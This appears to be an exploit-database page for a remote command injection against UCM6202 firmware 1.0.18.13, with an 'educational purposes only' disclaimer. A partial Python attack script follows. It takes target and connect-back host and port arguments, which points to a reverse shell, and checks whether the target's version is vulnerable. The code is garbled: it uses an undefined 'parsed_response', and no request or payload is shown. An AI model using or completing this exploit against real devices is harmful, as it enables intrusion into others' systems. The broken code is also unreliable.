Exploits / Vulnerability Discovered : 2020-03-24 |
Type : webapps |
Platform : hardware
This exploit / vulnerability Ucm6202 1.0.18.13 remote command injection is for educational purposes only and if it is used you will do on your own risk!
import os
import re
import sys
import json
import argparse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
top_parser = argparse.ArgumentParser(description='')
top_parser.add_argument('--rhost', action="store", dest="rhost",
required=True, help="The remote host to connect to")
top_parser.add_argument('--rport', action="store", dest="rport", type=int,
help="The remote port to connect to", default=8089)
top_parser.add_argument('--lhost', action="store", dest="lhost",
required=True, help="The local host to connect back to")
top_parser.add_argument('--lport', action="store", dest="lport", type=int,
help="The local port to connect back to", default=1270)
args = top_parser.parse_args()
match = re.match('^([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)$',
parsed_response['response']['prog_version'])
if not match:
print('[-] Failed to extract the remote targets version')
sys.exit(1)
major = int(match[1])
minor = int(match[2])
point = int(match[3])
patch = int(match[4])
if (major > 1) or (major == 1 and minor > 0) or (major == 1 and minor == 0
and point > 19) or (major == 1 and minor == 0 and point == 19 and patch >=
20):
print('[-] Unaffected version')
sys.exit(1)
else:
print('[+] Vulnerable version!')